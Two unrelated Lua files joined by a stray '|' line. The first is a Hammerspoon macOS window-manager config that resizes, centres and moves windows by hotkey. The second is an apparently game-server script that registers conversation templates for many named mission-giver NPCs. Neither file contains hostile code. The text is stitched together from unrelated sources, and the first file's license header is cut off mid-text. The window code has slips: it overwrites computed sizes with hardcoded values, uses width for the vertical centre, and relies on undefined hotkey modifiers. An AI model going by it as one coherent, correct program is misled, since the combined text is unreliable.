-- software and associated documentation files (the "Software"), to deal in the Software
-- without restriction, including without limitation the rights to use, copy, modify, merge,
-- publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons
-- to whom the Software is furnished to do so, subject to the following conditions:
--
-- The above copyright notice and this permission notice shall be included in all copies
-- or substantial portions of the Software.
--
-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
-- INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
-- PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
-- FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
-- OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-- DEALINGS IN THE SOFTWARE.
hs.window.animationDuration = 0.01
local sizes = {2, 3, 3/2}
local fullScreenSizes = {1, 4/3, 2}
local GRID = {w = 24, h = 24}
hs.grid.setGrid(GRID.w .. 'x' .. GRID.h)
hs.grid.MARGINX = 0
hs.grid.MARGINY = 0
local pressed = {
up = false,
down = false,
left = false,
right = false
}
function nextStep(dim, offs, cb)
if hs.window.focusedWindow() then
local axis = dim == 'w' and 'x' or 'y'
local oppDim = dim == 'w' and 'h' or 'w'
local oppAxis = dim == 'w' and 'y' or 'x'
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
local nextSize = sizes[1]
for i=1,#sizes do
if cell[dim] == GRID[dim] / sizes[i] and
(cell[axis] + (offs and cell[dim] or 0)) == (offs and GRID[dim] or 0)
then
nextSize = sizes[(i % #sizes) + 1]
break
end
end
cb(cell, nextSize)
if cell[oppAxis] ~= 0 and cell[oppAxis] + cell[oppDim] ~= GRID[oppDim] then
cell[oppDim] = GRID[oppDim]
cell[oppAxis] = 0
end
hs.grid.set(win, cell, screen)
end
end
function nextFullScreenStep()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
local nextSize = fullScreenSizes[1]
for i=1,#fullScreenSizes do
if cell.w == GRID.w / fullScreenSizes[i] and
cell.h == GRID.h / fullScreenSizes[i] and
cell.x == (GRID.w - GRID.w / fullScreenSizes[i]) / 2 and
cell.y == (GRID.h - GRID.h / fullScreenSizes[i]) / 2 then
nextSize = fullScreenSizes[(i % #fullScreenSizes) + 1]
break
end
end
cell.w = GRID.w / nextSize
cell.h = GRID.h / nextSize
cell.x = (GRID.w - GRID.w / nextSize) / 2
cell.y = (GRID.h - GRID.h / nextSize) / 2
cell.w = 22
cell.h = 22
cell.x = 0
cell.y = 0
hs.grid.set(win, cell, screen)
end
end
fullWidth = 24
fullHeight = 24
hMargin = 0.4
vMargin = 0.7
function full()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = fullWidth - .4
cell.h = fullHeight - .5
cell.x = .2
cell.y = .25
hs.grid.set(win, cell, screen)
end
end
function top()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = fullWidth - ( hMargin * 2 )
cell.h = (fullHeight - ( vMargin * 3 )) / 2
cell.x = hMargin
cell.y = vMargin
hs.grid.set(win, cell, screen)
end
end
function bottom()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = fullWidth - ( hMargin * 2 )
cell.h = (fullHeight - ( vMargin * 3 )) / 2
cell.x = hMargin
cell.y = ( vMargin * 2 ) + cell.h
hs.grid.set(win, cell, screen)
end
end
function centerOnly()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.x = ( fullWidth - cell.w ) / 2
cell.y = ( fullWidth - cell.h ) / 2
hs.grid.set(win, cell, screen)
end
end
function center()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = ( fullWidth / 7 ) * 3
cell.h = ( fullHeight / 5 ) * 4
cell.x = ( fullWidth - cell.w ) / 2
cell.y = ( fullWidth - cell.h ) / 2
hs.grid.set(win, cell, screen)
local log = hs.logger.new('mymodule','debug')
log.i(cell) -- will print "[mymodule] Initializing" to the console
end
end
function centerWide()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = ( fullWidth / 9 ) * 6
cell.h = ( fullHeight / 5 ) * 4
cell.x = ( fullWidth - cell.w ) / 2
cell.y = ( fullWidth - cell.h ) / 2
hs.grid.set(win, cell, screen)
local log = hs.logger.new('mymodule','debug')
log.i(cell) -- will print "[mymodule] Initializing" to the console
end
end
function left()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = ( fullWidth / 2 )
cell.h = fullHeight
cell.x = 0
cell.y = 0
hs.grid.set(win, cell, screen)
end
end
function right()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = ( fullWidth / 2 )
cell.h = fullHeight
cell.x = ( fullWidth / 2 )
cell.y = 0
hs.grid.set(win, cell, screen)
end
end
function throwLeft()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
win:moveOneScreenWest();
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = fullWidth
cell.h = fullHeight
cell.x = 0
cell.y = 0
hs.grid.set(win, cell, screen)
end
end
function throwRight()
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
win:moveOneScreenEast();
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
cell.w = fullWidth
cell.h = fullHeight
cell.x = 0
cell.y = 0
hs.grid.set(win, cell, screen)
end
end
function fullDimension(dim)
if hs.window.focusedWindow() then
local win = hs.window.frontmostWindow()
local id = win:id()
local screen = win:screen()
cell = hs.grid.get(win, screen)
if (dim == 'x') then
cell = '0,0 ' .. GRID.w .. 'x' .. GRID.h
else
cell[dim] = GRID[dim]
cell[dim == 'w' and 'x' or 'y'] = 0
end
hs.grid.set(win, cell, screen)
end
end
hs.hotkey.bind(hyperalt, "1", function ()
centerOnly()
end)
hs.hotkey.bind(hyperalt, "3", function ()
center()
end)
hs.hotkey.bind(hyperalt, "4", function ()
centerWide()
end)
-- Something is blocking ctrl+4
-- Switching to the key right below it, r, instead.
hs.hotkey.bind(hyper, "r", function ()
left()
end)
hs.hotkey.bind(hyper, "5", function ()
full()
end)
hs.hotkey.bind(hyper, "6", function ()
right()
end)
hs.hotkey.bind(hyper, "7", function ()
top()
end)
hs.hotkey.bind(hyper, "9", function ()
bottom()
end)
hs.hotkey.bind(mash, "left", function ()
throwLeft()
end)
hs.hotkey.bind(mash, "right", function ()
throwRight()
end)
-- Show dimensions
-- Dev function - Disabled
--hs.hotkey.bind(hyper, "i", function ()
-- local win = hs.window.frontmostWindow()
-- local id = win:id()
-- local screen = win:screen()
-- cell = hs.grid.get(win, screen)
-- another = hs.grid.get(win, screen)
-- hs.alert.show(another)
--end)
|
function createMissionGiverConvoTemplate(templateName, convoHandler)
mission_giver_convotemplate = ConvoTemplate:new {
initialScreen = "init",
templateType = "Lua",
luaClassHandler = convoHandler,
screens = {}
}
mission_giver_init = ConvoScreen:new {
id = "init",
leftDialog = "",
stopConversation = "false",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_init);
mission_giver_failure = ConvoScreen:new {
id = "failure",
leftDialog = "",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_failure);
mission_giver_no_faction = ConvoScreen:new {
id = "no_faction",
leftDialog = "",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_no_faction);
mission_giver_cant_work = ConvoScreen:new {
id = "cant_work",
leftDialog = ":cant_work",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_cant_work);
mission_giver_invfull = ConvoScreen:new {
id = "inv_full",
leftDialog = "",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_invfull);
mission_giver_too_weak = ConvoScreen:new {
id = "too_weak",
leftDialog = "",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_too_weak);
mission_giver_next = ConvoScreen:new {
id = "next",
leftDialog = ":next",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_next);
mission_giver_notyet = ConvoScreen:new {
id = "notyet",
leftDialog = ":notyet",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_notyet);
mission_giver_notit_n = ConvoScreen:new {
id = "notit_n",
leftDialog = ":notit_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_notit_n);
mission_giver_npc_1_n = ConvoScreen:new {
id = "npc_1_n",
leftDialog = ":npc_1_1",
stopConversation = "false",
options = {
{ ":player_1_1", "accept" },
{ ":player_2_1", "npc_3_n" },
{ ":player_3_1", "npc_4_n" },
{ ":player_4_1", "npc_5_n" },
{ ":player_5_1", "npc_6_n" }
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_1_n);
mission_giver_accept = ConvoScreen:new {
id = "accept",
leftDialog = "",
stopConversation = "false",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_accept);
mission_giver_npc_2_n = ConvoScreen:new {
id = "npc_2_n",
leftDialog = ":npc_2_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_2_n);
mission_giver_npc_noloc_n = ConvoScreen:new {
id = "npc_noloc_n",
leftDialog = ":npc_noloc_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_noloc_n);
mission_giver_npc_3_n = ConvoScreen:new {
id = "npc_3_n",
leftDialog = ":npc_3_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_3_n);
mission_giver_npc_4_n = ConvoScreen:new {
id = "npc_4_n",
leftDialog = ":npc_4_1",
stopConversation = "false",
options = {
{ ":player_1_1", "accept" },
{ ":player_2_1", "npc_3_n" },
{ ":player_4_1", "npc_5_n" },
{ ":player_5_1", "npc_6_n" }
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_4_n);
mission_giver_npc_5_n = ConvoScreen:new {
id = "npc_5_n",
leftDialog = ":npc_5_1",
stopConversation = "false",
options = {
{ ":player_1_1", "accept" },
{ ":player_2_1", "npc_3_n" },
{ ":player_3_1", "npc_4_n" },
{ ":player_5_1", "npc_6_n" }
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_5_n);
mission_giver_npc_6_n = ConvoScreen:new {
id = "npc_6_n",
leftDialog = ":npc_6_1",
stopConversation = "false",
options = {
{ ":player_1_1", "accept" },
{ ":player_2_1", "npc_3_n" },
{ ":player_3_1", "npc_4_n" },
{ ":player_4_1", "npc_5_n" }
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_6_n);
mission_giver_status = ConvoScreen:new {
id = "status",
leftDialog = "",
stopConversation = "false",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_status);
mission_giver_npc_work_n = ConvoScreen:new {
id = "npc_work_n",
leftDialog = ":npc_work_1",
stopConversation = "false",
options = {
{ ":player_reset_1", "npc_reset_n" },
{ ":player_sorry_1", "npc_backtowork_n" }
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_work_n);
mission_giver_npc_reset_n = ConvoScreen:new {
id = "npc_reset_n",
leftDialog = ":npc_reset_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_reset_n);
mission_giver_npc_reset = ConvoScreen:new {
id = "npc_reset",
leftDialog = ":npc_reset",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_reset);
mission_giver_npc_backtowork_n = ConvoScreen:new {
id = "npc_backtowork_n",
leftDialog = ":npc_backtowork_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_backtowork_n);
mission_giver_npc_backtowork = ConvoScreen:new {
id = "npc_backtowork",
leftDialog = ":npc_backtowork",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_backtowork);
mission_giver_npc_reward_n = ConvoScreen:new {
id = "npc_reward_n",
leftDialog = ":npc_reward_1",
stopConversation = "true",
options = {
}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_reward_n);
mission_giver_quit_quest = ConvoScreen:new {
id = "quit_quest",
leftDialog = "@static_npc/default_dialog:quit_quest", -- I can see that you're busy working for someone else at the moment. Would you like to continue to do so, or would you like to work for me instead?
stopConversation = "false",
options = {
{ "@static_npc/default_dialog:player_quit", "npc_quit" }, -- I think I'd like to work for you.
{ "@static_npc/default_dialog:player_continue", "npc_continue" } -- No, I think I'll keep my current job, thanks.
}
}
mission_giver_convotemplate:addScreen(mission_giver_quit_quest);
mission_giver_npc_quit = ConvoScreen:new {
id = "npc_quit",
leftDialog = "@static_npc/default_dialog:npc_quit", -- Fine. You are now free of your prior obligation, and you can freely work for me.
stopConversation = "true",
options = {}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_quit);
mission_giver_npc_continue = ConvoScreen:new {
id = "npc_continue",
leftDialog = "@static_npc/default_dialog:npc_continue", -- Fine then. Don't bother with me until you're ready to work for me.
stopConversation = "true",
options = {}
}
mission_giver_convotemplate:addScreen(mission_giver_npc_continue);
addConversationTemplate(templateName, mission_giver_convotemplate);
end
-- Themeparks
createMissionGiverConvoTemplate("theme_park_imperial_mission_giver_convotemplate", "theme_park_imperial_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_jabba_mission_giver_convotemplate", "theme_park_jabba_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_marauder_charal_mission_giver_convotemplate", "theme_park_marauder_charal_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_marauder_raglith_jorak_mission_giver_convotemplate", "theme_park_marauder_raglith_jorak_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_marauder_szingo_terak_mission_giver_convotemplate", "theme_park_marauder_szingo_terak_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_rebel_mission_giver_convotemplate", "theme_park_rebel_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_valarian_mission_giver_convotemplate", "theme_park_valarian_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_nightsister_mission_giver_convotemplate", "theme_park_nightsister_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_smc_zideera_mission_giver_convotemplate", "theme_park_smc_zideera_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_smc_vhaunda_izaryx_mission_giver_convotemplate", "theme_park_smc_vhaunda_izaryx_mission_giver_conv_handler")
createMissionGiverConvoTemplate("theme_park_smc_vurlene_aujante_mission_giver_convotemplate", "theme_park_smc_vurlene_aujante_mission_giver_conv_handler")
-- Generic
createMissionGiverConvoTemplate("generic_businessman_mission_giver_convotemplate", "generic_businessman_mission_giver_conv_handler")
createMissionGiverConvoTemplate("generic_criminal_mission_giver_convotemplate", "generic_criminal_mission_giver_conv_handler")
createMissionGiverConvoTemplate("generic_noble_mission_giver_convotemplate", "generic_noble_mission_giver_conv_handler")
createMissionGiverConvoTemplate("generic_scientist_mission_giver_convotemplate", "generic_scientist_mission_giver_conv_handler")
-- Epic Quest Chains
createMissionGiverConvoTemplate("krayt_dragon_skull_mission_giver_convotemplate", "krayt_dragon_skull_mission_giver_conv_handler")
createMissionGiverConvoTemplate("zicx_bug_bomb_mission_giver_convotemplate", "zicx_bug_bomb_mission_giver_conv_handler")
--Corellia
createMissionGiverConvoTemplate("blk_sun_tasks_mission_giver_convotemplate","blk_sun_tasks_mission_giver_conv_handler")
createMissionGiverConvoTemplate("chertyl_ruluwoor_mission_giver_convotemplate","chertyl_ruluwoor_mission_giver_conv_handler")
createMissionGiverConvoTemplate("coraline_dynes_mission_giver_convotemplate","coraline_dynes_mission_giver_conv_handler")
createMissionGiverConvoTemplate("corran_horn_mission_giver_convotemplate","corran_horn_mission_giver_conv_handler")
createMissionGiverConvoTemplate("crev_bombaasa_mission_giver_convotemplate","crev_bombaasa_mission_giver_conv_handler")
createMissionGiverConvoTemplate("dalla_solo_mission_giver_convotemplate","dalla_solo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("dannik_malaan_mission_giver_convotemplate","dannik_malaan_mission_giver_conv_handler")
createMissionGiverConvoTemplate("denell_kel_vannon_mission_giver_convotemplate","denell_kel_vannon_mission_giver_conv_handler")
createMissionGiverConvoTemplate("didina_lippinoss_mission_giver_convotemplate","didina_lippinoss_mission_giver_conv_handler")
createMissionGiverConvoTemplate("diktatGiverConvo","diktatGiverHandler")
createMissionGiverConvoTemplate("garm_bel_iblis_mission_giver_convotemplate","garm_bel_iblis_mission_giver_conv_handler")
createMissionGiverConvoTemplate("gilad_pellaeon_mission_giver_convotemplate","gilad_pellaeon_mission_giver_conv_handler")
createMissionGiverConvoTemplate("gilker_budz_mission_giver_convotemplate","gilker_budz_mission_giver_conv_handler")
createMissionGiverConvoTemplate("ging_darjeek_mission_giver_convotemplate","ging_darjeek_mission_giver_conv_handler")
createMissionGiverConvoTemplate("grondorn_muse_mission_giver_convotemplate","grondorn_muse_mission_giver_conv_handler")
createMissionGiverConvoTemplate("hal_horn_mission_giver_convotemplate","hal_horn_mission_giver_conv_handler")
createMissionGiverConvoTemplate("ignar_ominaz_mission_giver_convotemplate","ignar_ominaz_mission_giver_conv_handler")
createMissionGiverConvoTemplate("jadam_questrel_mission_giver_convotemplate","jadam_questrel_mission_giver_conv_handler")
createMissionGiverConvoTemplate("joz_jodhul_mission_giver_convotemplate","joz_jodhul_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kirkin_liawoon_mission_giver_convotemplate","kirkin_liawoon_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lady_hutt_mission_giver_convotemplate","lady_hutt_mission_giver_conv_handler")
createMissionGiverConvoTemplate("luthin_dlunar_mission_giver_convotemplate","luthin_dlunar_mission_giver_conv_handler")
createMissionGiverConvoTemplate("noren_krast_mission_giver_convotemplate","noren_krast_mission_giver_conv_handler")
createMissionGiverConvoTemplate("palejo_reshad_mission_giver_convotemplate","palejo_reshad_mission_giver_conv_handler")
createMissionGiverConvoTemplate("scolex_grath_mission_giver_convotemplate","scolex_grath_mission_giver_conv_handler")
createMissionGiverConvoTemplate("serjix_arrogantus_mission_giver_convotemplate","serjix_arrogantus_mission_giver_conv_handler")
createMissionGiverConvoTemplate("skinkner_mission_giver_convotemplate","skinkner_mission_giver_conv_handler")
createMissionGiverConvoTemplate("thrackan_sal_solo_mission_giver_convotemplate","thrackan_sal_solo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("venthan_chassu_mission_giver_convotemplate","venthan_chassu_mission_giver_conv_handler")
createMissionGiverConvoTemplate("viceprex_tasks_mission_giver_convotemplate","viceprex_tasks_mission_giver_conv_handler")
createMissionGiverConvoTemplate("zakarisz_ghent_mission_giver_convotemplate","zakarisz_ghent_mission_giver_conv_handler")
-- Dantooine
createMissionGiverConvoTemplate("drakka_judarrl_mission_giver_convotemplate", "drakka_judarrl_mission_giver_conv_handler")
createMissionGiverConvoTemplate("jatrian_lytus_mission_giver_convotemplate", "jatrian_lytus_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kelvus_naria_mission_giver_convotemplate", "kelvus_naria_mission_giver_conv_handler")
createMissionGiverConvoTemplate("luthik_uwyr_mission_giver_convotemplate","luthik_uwyr_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lx_466_mission_giver_convotemplate", "lx_466_mission_giver_conv_handler")
createMissionGiverConvoTemplate("sg_567_mission_giver_convotemplate", "sg_567_mission_giver_conv_handler")
createMissionGiverConvoTemplate("stoos_olko_mission_giver_convotemplate", "stoos_olko_mission_giver_conv_handler")
createMissionGiverConvoTemplate("xaan_talmaron_mission_giver_convotemplate","xaan_talmaron_mission_giver_conv_handler")
--Dathomir
createMissionGiverConvoTemplate("dolac_legasi_mission_giver_convotemplate", "dolac_legasi_mission_giver_conv_handler")
createMissionGiverConvoTemplate("shaki_hamachil_mission_giver_convotemplate", "shaki_hamachil_mission_giver_conv_handler")
createMissionGiverConvoTemplate("shibb_nisshil_mission_giver_convotemplate", "shibb_nisshil_mission_giver_conv_handler")
createMissionGiverConvoTemplate("singular_nak_mission_giver_convotemplate", "singular_nak_mission_giver_conv_handler")
createMissionGiverConvoTemplate("wallaw_loowobbli_mission_giver_convotemplate", "wallaw_loowobbli_mission_giver_conv_handler")
createMissionGiverConvoTemplate("warden_vinzel_haylon_mission_giver_convotemplate", "warden_vinzel_haylon_mission_giver_conv_handler")
createMissionGiverConvoTemplate("xarot_korlin_mission_giver_convotemplate", "xarot_korlin_mission_giver_conv_handler")
-- Naboo
createMissionGiverConvoTemplate("arrek_von_sarko_mission_giver_convotemplate", "arrek_von_sarko_mission_giver_conv_handler")
createMissionGiverConvoTemplate("arven_wendik_mission_giver_convotemplate", "arven_wendik_mission_giver_conv_handler")
createMissionGiverConvoTemplate("athok_dinvar_mission_giver_convotemplate", "athok_dinvar_mission_giver_conv_handler")
createMissionGiverConvoTemplate("bab_esrus_mission_giver_convotemplate", "bab_esrus_mission_giver_conv_handler")
createMissionGiverConvoTemplate("bardo_klinj_mission_giver_convotemplate", "bardo_klinj_mission_giver_conv_handler")
createMissionGiverConvoTemplate("boss_nass_mission_giver_convotemplate", "boss_nass_mission_giver_conv_handler")
createMissionGiverConvoTemplate("brass_marshoo_mission_giver_convotemplate", "brass_marshoo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("brennis_doore_mission_giver_convotemplate", "brennis_doore_mission_giver_conv_handler")
createMissionGiverConvoTemplate("damalia_korde_mission_giver_convotemplate", "damalia_korde_mission_giver_conv_handler")
createMissionGiverConvoTemplate("dilvin_lormurojo_mission_giver_convotemplate", "dilvin_lormurojo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("ebenn_q3_baobab_mission_giver_convotemplate", "ebenn_q3_baobab_mission_giver_conv_handler")
createMissionGiverConvoTemplate("gavyn_sykes_mission_giver_convotemplate", "gavyn_sykes_mission_giver_conv_handler")
createMissionGiverConvoTemplate("huff_zinga_mission_giver_convotemplate", "huff_zinga_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kima_nazith_mission_giver_convotemplate", "kima_nazith_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kritus_morven_mission_giver_convotemplate", "kritus_morven_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lareen_dantara_mission_giver_convotemplate", "lareen_dantara_mission_giver_conv_handler")
createMissionGiverConvoTemplate("leb_slesher_mission_giver_convotemplate", "leb_slesher_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lergo_brazee_mission_giver_convotemplate", "lergo_brazee_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lob_dizz_mission_giver_convotemplate", "lob_dizz_mission_giver_conv_handler")
createMissionGiverConvoTemplate("mullud_bombo_mission_giver_convotemplate", "mullud_bombo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("palo_mission_giver_convotemplate", "palo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("pooja_naberrie_mission_giver_convotemplate", "pooja_naberrie_mission_giver_conv_handler")
createMissionGiverConvoTemplate("radanthus_mandelatara_mission_giver_convotemplate", "radanthus_mandelatara_mission_giver_conv_handler")
createMissionGiverConvoTemplate("rep_been_mission_giver_convotemplate", "rep_been_mission_giver_conv_handler")
createMissionGiverConvoTemplate("rovim_minnoni_mission_giver_convotemplate", "rovim_minnoni_mission_giver_conv_handler")
createMissionGiverConvoTemplate("tamvar_senzen_mission_giver_convotemplate", "tamvar_senzen_mission_giver_conv_handler")
createMissionGiverConvoTemplate("vana_sage_mission_giver_convotemplate", "vana_sage_mission_giver_conv_handler")
--Rori
createMissionGiverConvoTemplate("ajuva_vanasterin_mission_giver_convotemplate","ajuva_vanasterin_mission_giver_conv_handler")
createMissionGiverConvoTemplate("biribas_tarun_mission_giver_convotemplate","biribas_tarun_mission_giver_conv_handler")
createMissionGiverConvoTemplate("booto_lubble_mission_giver_convotemplate","booto_lubble_mission_giver_conv_handler")
createMissionGiverConvoTemplate("draya_korbinari_mission_giver_convotemplate","draya_korbinari_mission_giver_conv_handler")
createMissionGiverConvoTemplate("hefsen_zindalai_mission_giver_convotemplate","hefsen_zindalai_mission_giver_conv_handler")
createMissionGiverConvoTemplate("indintra_imbru_yerevan_mission_giver_convotemplate","indintra_imbru_yerevan_mission_giver_conv_handler")
createMissionGiverConvoTemplate("jaleela_bindoo_mission_giver_convotemplate","jaleela_bindoo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("magur_torigai_mission_giver_convotemplate","magur_torigai_mission_giver_conv_handler")
createMissionGiverConvoTemplate("oxil_sarban_mission_giver_convotemplate","oxil_sarban_mission_giver_conv_handler")
createMissionGiverConvoTemplate("raxa_binn_mission_giver_convotemplate","raxa_binn_mission_giver_conv_handler")
createMissionGiverConvoTemplate("sidoras_bey_mission_giver_convotemplate","sidoras_bey_mission_giver_conv_handler")
createMissionGiverConvoTemplate("sindra_lintikoor_mission_giver_convotemplate","sindra_lintikoor_mission_giver_conv_handler")
createMissionGiverConvoTemplate("sloan_rusper_mission_giver_convotemplate","sloan_rusper_mission_giver_conv_handler")
createMissionGiverConvoTemplate("vordin_sildor_mission_giver_convotemplate","vordin_sildor_mission_giver_conv_handler")
createMissionGiverConvoTemplate("zeelius_kraymunder_mission_giver_convotemplate","zeelius_kraymunder_mission_giver_conv_handler")
-- Talus
createMissionGiverConvoTemplate("champhra_biahin_mission_giver_convotemplate", "champhra_biahin_mission_giver_conv_handler")
createMissionGiverConvoTemplate("durgur_pyne_mission_giver_convotemplate", "durgur_pyne_mission_giver_conv_handler")
createMissionGiverConvoTemplate("gravin_attal_mission_giver_convotemplate", "gravin_attal_mission_giver_conv_handler")
createMissionGiverConvoTemplate("green_laser_mission_giver_convotemplate", "green_laser_mission_giver_conv_handler")
createMissionGiverConvoTemplate("haleen_snowline_hagrin_zeed_mission_giver_convotemplate", "haleen_snowline_hagrin_zeed_mission_giver_conv_handler")
createMissionGiverConvoTemplate("igbi_freemo_mission_giver_convotemplate", "igbi_freemo_mission_giver_conv_handler")
createMissionGiverConvoTemplate("jusani_zhord_mission_giver_convotemplate", "jusani_zhord_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kathikiis_ruwahurr_mission_giver_convotemplate", "kathikiis_ruwahurr_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lethin_bludder_mission_giver_convotemplate", "lethin_bludder_mission_giver_conv_handler")
createMissionGiverConvoTemplate("mourno_draver_mission_giver_convotemplate", "mourno_draver_mission_giver_conv_handler")
createMissionGiverConvoTemplate("nurla_slinthiss_mission_giver_convotemplate", "nurla_slinthiss_mission_giver_conv_handler")
createMissionGiverConvoTemplate("radlee_mathiss_mission_giver_convotemplate", "radlee_mathiss_mission_giver_conv_handler")
createMissionGiverConvoTemplate("sigrix_slix_mission_giver_convotemplate", "sigrix_slix_mission_giver_conv_handler")
createMissionGiverConvoTemplate("slooni_jong_mission_giver_convotemplate", "slooni_jong_mission_giver_conv_handler")
createMissionGiverConvoTemplate("xalox_guul_mission_giver_convotemplate", "xalox_guul_mission_giver_conv_handler")
-- Tatooine
createMissionGiverConvoTemplate("aaph_koden_mission_giver_convotemplate", "aaph_koden_mission_giver_conv_handler")
createMissionGiverConvoTemplate("blerx_tango_mission_giver_convotemplate", "blerx_tango_mission_giver_conv_handler")
createMissionGiverConvoTemplate("bren_kingal_mission_giver_convotemplate", "bren_kingal_mission_giver_conv_handler")
createMissionGiverConvoTemplate("farious_gletch_mission_giver_convotemplate", "farious_gletch_mission_giver_conv_handler")
createMissionGiverConvoTemplate("fixer_mission_giver_convotemplate", "fixer_mission_giver_conv_handler")
createMissionGiverConvoTemplate("gramm_rile_mission_giver_convotemplate", "gramm_rile_mission_giver_conv_handler")
createMissionGiverConvoTemplate("hedon_istee_mission_giver_convotemplate", "hedon_istee_mission_giver_conv_handler")
createMissionGiverConvoTemplate("ikka_gesul_mission_giver_convotemplate", "ikka_gesul_mission_giver_conv_handler")
createMissionGiverConvoTemplate("jilljoo_jab_mission_giver_convotemplate", "jilljoo_jab_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kaeline_ungasan_mission_giver_convotemplate", "kaeline_ungasan_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kitster_banai_mission_giver_convotemplate", "kitster_banai_mission_giver_conv_handler")
createMissionGiverConvoTemplate("kormund_thrylle_mission_giver_convotemplate", "kormund_thrylle_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lorne_prestar_mission_giver_convotemplate", "lorne_prestar_mission_giver_conv_handler")
createMissionGiverConvoTemplate("lt_harburik_mission_giver_convotemplate", "lt_harburik_mission_giver_conv_handler")
createMissionGiverConvoTemplate("mat_rags_mission_giver_convotemplate", "mat_rags_mission_giver_conv_handler")
createMissionGiverConvoTemplate("melios_purl_mission_giver_convotemplate", "melios_purl_mission_giver_conv_handler")
